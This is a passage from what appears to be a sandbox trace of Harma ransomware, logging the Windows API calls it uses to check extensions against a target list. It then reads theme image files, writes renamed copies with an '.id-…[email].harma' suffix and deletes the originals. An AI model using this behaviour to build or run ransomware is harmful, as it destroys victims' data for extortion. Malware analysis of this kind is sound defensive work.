Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0060.460] lstrlenW (lpString=".doc") returned 4 [0060.460] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0060.460] lstrlenW (lpString=".docx") returned 5 [0060.460] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0060.460] lstrlenW (lpString=".pdf") returned 4 [0060.461] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0060.461] lstrlenW (lpString=".xls") returned 4 [0060.461] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0060.461] lstrlenW (lpString=".xlsx") returned 5 [0060.461] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0060.461] lstrlenW (lpString=".ppt") returned 4 [0060.461] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0060.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0060.461] lstrlenW (lpString=".zip") returned 4 [0060.461] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0060.461] lstrlenW (lpString=".rar") returned 4 [0060.461] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0060.461] lstrlenW (lpString=".bz2") returned 4 [0060.461] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0060.461] lstrlenW (lpString=".7z") returned 3 [0060.461] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0060.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0060.461] lstrlenW (lpString=".dbf") returned 4 [0060.461] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0060.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0060.461] lstrlenW (lpString=".1cd") returned 4 [0060.462] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0060.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0060.462] lstrlenW (lpString=".jpg") returned 4 [0060.462] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0060.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0060.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0060.462] lstrlenW (lpString=".doc") returned 4 [0060.462] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0060.462] lstrlenW (lpString=".docx") returned 5 [0060.462] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0060.462] lstrlenW (lpString=".pdf") returned 4 [0060.462] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0060.462] lstrlenW (lpString=".xls") returned 4 [0060.462] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0060.462] lstrlenW (lpString=".xlsx") returned 5 [0060.462] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0060.462] lstrlenW (lpString=".ppt") returned 4 [0060.462] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0060.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0060.462] lstrlenW (lpString=".zip") returned 4 [0060.462] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0060.462] lstrlenW (lpString=".rar") returned 4 [0060.462] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0060.462] lstrlenW (lpString=".bz2") returned 4 [0060.462] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0060.462] lstrlenW (lpString=".7z") returned 3 [0060.462] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0060.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0060.463] lstrlenW (lpString=".dbf") returned 4 [0060.463] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0060.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0060.463] lstrlenW (lpString=".1cd") returned 4 [0060.463] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0060.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0060.463] lstrlenW (lpString=".jpg") returned 4 [0060.463] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0060.463] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0060.463] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0060.463] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0060.464] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=31975) returned 1 [0060.464] CloseHandle (hObject=0x164) returned 1 [0060.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 0x20 [0060.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0060.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0060.465] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.465] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0060.465] GetLastError () returned 0x0 [0060.465] ReadFile (in: hFile=0x164, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x7ce7, lpOverlapped=0x0) returned 1 [0060.467] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x7cf0, lpOverlapped=0x0) returned 1 [0060.469] ReadFile (in: hFile=0x164, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.469] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.469] SetEndOfFile (hFile=0x1d0) returned 1 [0060.469] CloseHandle (hObject=0x1d0) returned 1 [0060.469] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.469] SetEndOfFile (hFile=0x164) returned 1 [0060.471] CloseHandle (hObject=0x164) returned 1 [0060.471] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0060.471] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 1 [0060.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0060.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0060.471] lstrlenW (lpString=".doc") returned 4 [0060.471] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0060.471] lstrlenW (lpString=".docx") returned 5 [0060.471] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0060.471] lstrlenW (lpString=".pdf") returned 4 [0060.471] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0060.471] lstrlenW (lpString=".xls") returned 4 [0060.471] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0060.472] lstrlenW (lpString=".xlsx") returned 5 [0060.472] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0060.472] lstrlenW (lpString=".ppt") returned 4 [0060.472] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0060.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0060.472] lstrlenW (lpString=".zip") returned 4 [0060.472] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0060.472] lstrlenW (lpString=".rar") returned 4 [0060.472] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0060.472] lstrlenW (lpString=".bz2") returned 4 [0060.472] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0060.472] lstrlenW (lpString=".7z") returned 3 [0060.472] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0060.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0060.472] lstrlenW (lpString=".dbf") returned 4 [0060.472] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0060.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0060.472] lstrlenW (lpString=".1cd") returned 4 [0060.472] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0060.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0060.472] lstrlenW (lpString=".jpg") returned 4 [0060.472] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0060.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0060.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0060.472] lstrlenW (lpString=".doc") returned 4 [0060.472] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0060.472] lstrlenW (lpString=".docx") returned 5 [0060.472] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0060.473] lstrlenW (lpString=".pdf") returned 4 [0060.473] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0060.473] lstrlenW (lpString=".xls") returned 4 [0060.473] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0060.473] lstrlenW (lpString=".xlsx") returned 5 [0060.473] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0060.473] lstrlenW (lpString=".ppt") returned 4 [0060.473] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0060.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0060.473] lstrlenW (lpString=".zip") returned 4 [0060.473] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0060.473] lstrlenW (lpString=".rar") returned 4 [0060.473] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0060.473] lstrlenW (lpString=".bz2") returned 4 [0060.473] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0060.473] lstrlenW (lpString=".7z") returned 3 [0060.473] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0060.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0060.473] lstrlenW (lpString=".dbf") returned 4 [0060.473] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0060.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0060.473] lstrlenW (lpString=".1cd") returned 4 [0060.473] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0060.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0060.473] lstrlenW (lpString=".jpg") returned 4 [0060.473] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0060.474] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0060.474] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0060.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0060.474] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=4100) returned 1 [0060.474] CloseHandle (hObject=0x164) returned 1 [0060.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 0x20 [0060.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0060.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0060.475] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.475] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0060.479] GetLastError () returned 0x0 [0060.479] ReadFile (in: hFile=0x164, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x1004, lpOverlapped=0x0) returned 1 [0060.481] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x1010, lpOverlapped=0x0) returned 1 [0060.482] ReadFile (in: hFile=0x164, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.482] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0060.482] SetEndOfFile (hFile=0x1d0) returned 1 [0060.483] CloseHandle (hObject=0x1d0) returned 1 [0060.483] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.483] SetEndOfFile (hFile=0x164) returned 1 [0060.484] CloseHandle (hObject=0x164) returned 1 [0060.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0060.484] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 1 [0060.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0060.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0060.484] lstrlenW (lpString=".doc") returned 4 [0060.484] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.485] lstrlenW (lpString=".docx") returned 5 [0060.485] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0060.485] lstrlenW (lpString=".pdf") returned 4 [0060.485] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.485] lstrlenW (lpString=".xls") returned 4 [0060.485] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.485] lstrlenW (lpString=".xlsx") returned 5 [0060.485] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0060.485] lstrlenW (lpString=".ppt") returned 4 [0060.485] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0060.485] lstrlenW (lpString=".zip") returned 4 [0060.485] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.485] lstrlenW (lpString=".rar") returned 4 [0060.485] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.485] lstrlenW (lpString=".bz2") returned 4 [0060.485] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.485] lstrlenW (lpString=".7z") returned 3 [0060.485] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0060.485] lstrlenW (lpString=".dbf") returned 4 [0060.485] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0060.485] lstrlenW (lpString=".1cd") returned 4 [0060.485] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0060.485] lstrlenW (lpString=".jpg") returned 4 [0060.485] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0060.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0060.486] lstrlenW (lpString=".doc") returned 4 [0060.486] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.486] lstrlenW (lpString=".docx") returned 5 [0060.486] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0060.486] lstrlenW (lpString=".pdf") returned 4 [0060.486] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.486] lstrlenW (lpString=".xls") returned 4 [0060.486] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.486] lstrlenW (lpString=".xlsx") returned 5 [0060.486] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0060.486] lstrlenW (lpString=".ppt") returned 4 [0060.486] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0060.486] lstrlenW (lpString=".zip") returned 4 [0060.486] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.486] lstrlenW (lpString=".rar") returned 4 [0060.486] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.486] lstrlenW (lpString=".bz2") returned 4 [0060.486] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.486] lstrlenW (lpString=".7z") returned 3 [0060.486] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0060.486] lstrlenW (lpString=".dbf") returned 4 [0060.486] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0060.486] lstrlenW (lpString=".1cd") returned 4 [0060.487] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0060.487] lstrlenW (lpString=".jpg") returned 4 [0060.487] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.487] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0060.487] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0060.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0060.487] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=47962) returned 1 [0060.487] CloseHandle (hObject=0x164) returned 1 [0060.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 0x20 [0060.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0060.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0060.488] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.488] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0060.488] GetLastError () returned 0x0 [0060.488] ReadFile (in: hFile=0x164, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0xbb5a, lpOverlapped=0x0) returned 1 [0060.715] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xbb60, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xbb60, lpOverlapped=0x0) returned 1 [0060.807] ReadFile (in: hFile=0x164, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.810] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.810] SetEndOfFile (hFile=0x1d0) returned 1 [0060.810] CloseHandle (hObject=0x1d0) returned 1 [0060.811] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.811] SetEndOfFile (hFile=0x164) returned 1 [0060.812] CloseHandle (hObject=0x164) returned 1 [0060.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0060.812] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) 